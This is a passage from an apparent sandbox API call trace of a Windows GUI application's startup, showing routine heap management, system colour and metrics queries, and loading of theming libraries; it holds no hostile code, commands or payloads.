SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.468] SetLastError (dwErrCode=0x0) [0024.468] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.469] SetLastError (dwErrCode=0x0) [0024.469] GetLastError () returned 0x0 [0024.470] SetLastError (dwErrCode=0x0) [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x98) returned 0x20219e0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1f) returned 0x2021a80 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x36) returned 0x2021aa8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x37) returned 0x2021ae8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3c) returned 0x2021b28 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x31) returned 0x2021b70 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021bb0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x2021bd0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x14) returned 0x2021c00 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xd) returned 0x2021c20 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x25) returned 0x2021c38 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x39) returned 0x2021c68 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2021cb0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021cd0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xe) returned 0x2021cf0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x69) returned 0x2021d08 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3e) returned 0x2021d80 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021dc8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1d) returned 0x2021df0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x48) returned 0x2021e18 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2021e68 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2021e88 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021ea8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x2021ed0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x2021f00 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1e) returned 0x2021f38 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x41) returned 0x2021f60 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021fb0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xf) returned 0x2021fd0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x16) returned 0x2021fe8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2a) returned 0x2022008 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x2022040 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x15) returned 0x2022078 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1e) returned 0x2022098 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2a) returned 0x20220c0 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x20220f8 [0024.470] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2022118 [0024.471] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x46) returned 0x2022138 [0024.471] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x20211f8 | out: hHeap=0x2020000) returned 1 [0024.471] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x80) returned 0x20211f8 [0024.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0x53c82e40, dwHighDateTime=0x1d5b994)) [0024.471] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.471] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x2022188 [0024.471] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0024.471] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x515720) returned 0x0 [0024.471] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.472] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.472] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.472] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.472] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.472] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.473] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.473] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.473] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.473] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.473] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.474] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.474] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.474] GetSystemMetrics (nIndex=11) returned 32 [0024.732] GetSystemMetrics (nIndex=12) returned 32 [0024.732] GetSystemMetrics (nIndex=2) returned 17 [0024.732] GetSystemMetrics (nIndex=3) returned 17 [0024.732] GetDC (hWnd=0x0) returned 0x1010858 [0024.732] GetDeviceCaps (hdc=0x1010858, index=88) returned 96 [0024.732] GetDeviceCaps (hdc=0x1010858, index=90) returned 96 [0024.732] ReleaseDC (hWnd=0x0, hDC=0x1010858) returned 1 [0024.732] GetSysColor (nIndex=15) returned 0xf0f0f0 [0024.732] GetSysColor (nIndex=16) returned 0xa0a0a0 [0024.732] GetSysColor (nIndex=20) returned 0xffffff [0024.733] GetSysColor (nIndex=18) returned 0x0 [0024.733] GetSysColor (nIndex=6) returned 0x646464 [0024.733] GetSysColorBrush (nIndex=15) returned 0x1100059 [0024.733] GetSysColorBrush (nIndex=6) returned 0x1100061 [0024.733] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0024.733] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0024.733] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.733] GlobalLock (hMem=0x2c0004) returned 0x7b3fb8 [0024.733] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x7b40c8 [0024.733] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x7a7bb8 [0024.733] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x7a3a18 [0024.734] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x7b41d8 [0024.734] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1011) returned 0x2022990 [0024.734] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0xc) returned 0x2021280 [0024.734] LocalAlloc (uFlags=0x40, uBytes=0x188) returned 0x7b4270 [0024.734] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x2021298 [0024.734] LocalAlloc (uFlags=0x40, uBytes=0x64) returned 0x7b4400 [0024.734] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x20212c0 [0024.734] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x7a3a28 [0024.734] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x20212e8 [0024.734] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.734] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.735] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.735] RegisterClipboardFormatA (lpszFormat="commctrl_DragListMsg") returned 0xc0fd [0024.735] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.735] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.735] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.736] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.736] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.736] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.736] RegisterClipboardFormatA (lpszFormat="AFX_WM_DRAW2D") returned 0xc140 [0024.736] RegisterClipboardFormatA (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc13e [0024.736] GetOEMCP () returned 0x1b5 [0024.736] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x18fed8 | out: lpCPInfo=0x18fed8) returned 1 [0024.737] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x13) returned 0x2021310 [0024.737] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.737] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021330 [0024.737] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.737] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x2021350 [0024.737] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.737] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x2021378 [0024.737] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.737] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x20213a0 [0024.738] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.738] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x20213c0 [0024.738] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x20211f8) returned 0x80 [0024.738] GetVersionExA (in: lpVersionInformation=0x18fe4c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x20213d0, dwBuildNumber=0xfffbdd1c, dwPlatformId=0x0, szCSDVersion="ìþ\x18") | out: lpVersionInformation=0x18fe4c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0024.738] GetSystemMetrics (nIndex=4096) returned 0 [0024.738] GetSysColor (nIndex=22) returned 0xe3e3e3 [0024.738] GetSysColor (nIndex=21) returned 0x696969 [0024.738] GetWindowDC (hWnd=0x0) returned 0x19010846 [0024.738] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0x7b4470 [0024.738] LocalReAlloc (hMem=0x7a3a18, uBytes=0xc, uFlags=0x2) returned 0x7b44d0 [0024.738] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x20213e0 [0024.738] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x44) returned 0x2021448 [0024.738] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x7c) returned 0x2021498 [0024.738] GetDeviceCaps (hdc=0x19010846, index=12) returned 32 [0024.738] GetSysColor (nIndex=15) returned 0xf0f0f0 [0024.738] GetSysColor (nIndex=16) returned 0xa0a0a0 [0024.739] GetSysColor (nIndex=21) returned 0x696969 [0024.739] GetSysColor (nIndex=22) returned 0xe3e3e3 [0024.739] GetSysColor (nIndex=20) returned 0xffffff [0024.739] GetSysColor (nIndex=18) returned 0x0 [0024.739] GetSysColor (nIndex=17) returned 0x6d6d6d [0024.739] GetSysColor (nIndex=6) returned 0x646464 [0024.739] GetSysColor (nIndex=13) returned 0xff9933 [0024.739] GetSysColor (nIndex=14) returned 0xffffff [0024.739] GetSysColor (nIndex=5) returned 0xffffff [0024.739] GetSysColor (nIndex=8) returned 0x0 [0024.739] GetSysColor (nIndex=9) returned 0x0 [0024.739] GetSysColor (nIndex=7) returned 0x0 [0024.739] GetSysColor (nIndex=2) returned 0xd1b499 [0024.739] GetSysColor (nIndex=3) returned 0xdbcdbf [0024.739] GetSysColor (nIndex=27) returned 0xead1b9 [0024.739] GetSysColor (nIndex=28) returned 0xf2e4d7 [0024.739] GetSysColor (nIndex=10) returned 0xb4b4b4 [0024.739] GetSysColor (nIndex=11) returned 0xfcf7f4 [0024.739] GetSysColor (nIndex=19) returned 0x544e43 [0024.739] GetSysColor (nIndex=26) returned 0xcc6600 [0024.739] GetSysColorBrush (nIndex=16) returned 0x110005a [0024.739] GetSysColorBrush (nIndex=20) returned 0x110005b [0024.739] GetSysColorBrush (nIndex=5) returned 0x1100060 [0024.739] CreateSolidBrush (color=0xf0f0f0) returned 0x1b100865 [0024.739] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2021520 [0024.739] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x44) returned 0x2021588 [0024.739] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x7c) returned 0x20215d8 [0024.739] CreateSolidBrush (color=0xf0f0f0) returned 0x2d10007f [0024.739] CreateSolidBrush (color=0xd1b499) returned 0x5e100256 [0024.740] CreateSolidBrush (color=0xdbcdbf) returned 0x5010025d [0024.740] CreateSolidBrush (color=0xff9933) returned 0x361001dc [0024.740] CreateSolidBrush (color=0x696969) returned 0x341001d7 [0024.740] CreateSolidBrush (color=0xffffff) returned 0x34100241 [0024.740] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x293001da [0024.740] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x2c30083e [0024.741] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x353001db [0024.741] CreateSolidBrush (color=0xf7f7f7) returned 0x510087f [0024.741] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x7c) returned 0x2021660 [0024.741] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021448 | out: hHeap=0x2020000) returned 1 [0024.741] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021498 | out: hHeap=0x2020000) returned 1 [0024.741] ReleaseDC (hWnd=0x0, hDC=0x19010846) returned 1 [0024.741] ActivateActCtx (in: hActCtx=0x0, lpCookie=0x18fe0c | out: hActCtx=0x0, lpCookie=0x18fe0c) returned 1 [0024.741] LoadLibraryW (lpLibFileName="UxTheme.dll") returned 0x745e0000 [0024.741] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1f840001) returned 1 [0024.741] GetProcAddress (hModule=0x745e0000, lpProcName="DrawThemeParentBackground") returned 0x745fe776 [0024.741] GetProcAddress (hModule=0x745e0000, lpProcName="DrawThemeTextEx") returned 0x745fa70c [0024.742] GetProcAddress (hModule=0x745e0000, lpProcName="BufferedPaintInit") returned 0x745fb8d4 [0024.742] GetProcAddress (hModule=0x745e0000, lpProcName="BufferedPaintUnInit") returned 0x74607525 [0024.742] GetProcAddress (hModule=0x745e0000, lpProcName="BeginBufferedPaint") returned 0x745fb741 [0024.742] GetProcAddress (hModule=0x745e0000, lpProcName="EndBufferedPaint") returned 0x745face8 [0024.742] GetSystemDirectoryW (in: lpBuffer=0x18fc1c, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0024.742] ActivateActCtx (in: hActCtx=0x0, lpCookie=0x18fbe8 | out: hActCtx=0x0, lpCookie=0x18fbe8) returned 1 [0024.742] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\dwmapi.dll") returned 0x745c0000 [0024.854] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1f840002) returned 1 [0024.854] GetProcAddress (hModule=0x745c0000, lpProcName="DwmExtendFrameIntoClientArea") returned 0x745c3510 [0024.855] GetProcAddress (hModule=0x745c0000, lpProcName="DwmDefWindowProc") returned 0x745c3df4 [0024.855] GetProcAddress (hModule=0x745c0000, lpProcName="DwmIsCompositionEnabled") returned 0x745c1610 [0024.855] GetWindowDC (hWnd=0x0) returned 0x19010846 [0024.855] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x44) returned 0x20216e8 [0024.855] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x7c) returned 0x2021448 [0024.855] GetDeviceCaps (hdc=0x19010846, index=88) returned 96 [0024.855] GetModuleHandleA (lpModuleName="comctl32.dll") returned 0x74a30000 [0024.855] GetProcAddress (hModule=0x74a30000, lpProcName="DllGetVersion") returned 0x74a496fe [0024.862] DllGetVersion () returned 0x0 [0024.862] SystemParametersInfoA (in: uiAction=0x29, uiParam=0x154, pvParam=0x18fc8c, fWinIni=0x0 | out: pvParam=0x18fc8c) returned 1 [0024.862] GetTextCharsetInfo (in: hdc=0x19010846, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0024.862] lstrcpyA (in: lpString1=0x18fe00, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0024.863] EnumFontFamiliesA (hdc=0x19010846, lpLogfont=0x0, lpProc=0x428dd2, lParam=0x2021360) returned 0 [0024.867] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.867] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x2021738 [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.867] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x2021738 [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.867] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] GetLastError () returned 0x0 [0024.867] SetLastError (dwErrCode=0x0) [0024.867] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.868] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.868] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.868] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.868] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x2021738 [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] GetLastError () returned 0x0 [0024.868] SetLastError (dwErrCode=0x0) [0024.868] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.868] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1e) returned 0x2021738 [0024.868] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.869] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x2021738 [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.869] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.869] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x16) returned 0x2021738 [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.869] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x23) returned 0x2021738 [0024.869] GetLastError () returned 0x0 [0024.869] SetLastError (dwErrCode=0x0) [0024.869] GetLastError () returned 0x0 [0024.870] SetLastError (dwErrCode=0x0) [0024.870] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.870] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1d) returned 0x2021738 [0024.870] GetLastError () returned 0x0 [0024.870] SetLastError (dwErrCode=0x0) [0024.870] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.871] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x19) returned 0x202e230 [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.871] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.871] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1c) returned 0x202e230 [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.871] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.871] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.871] GetLastError () returned 0x0 [0024.871] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.872] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x17) returned 0x2021738 [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.872] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2021738 | out: hHeap=0x2020000) returned 1 [0024.872] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1a) returned 0x202e230 [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.872] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x1b) returned 0x202e230 [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.872] GetLastError () returned 0x0 [0024.872] SetLastError (dwErrCode=0x0) [0024.873] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x202e230 | out: hHeap=0x2020000) returned 1 [0024.873] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x2021738 [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] GetLastError () returned 0x0 [0024.873] SetLastError (dwErrCode=0x0) [0024.873] HeapFree (in: 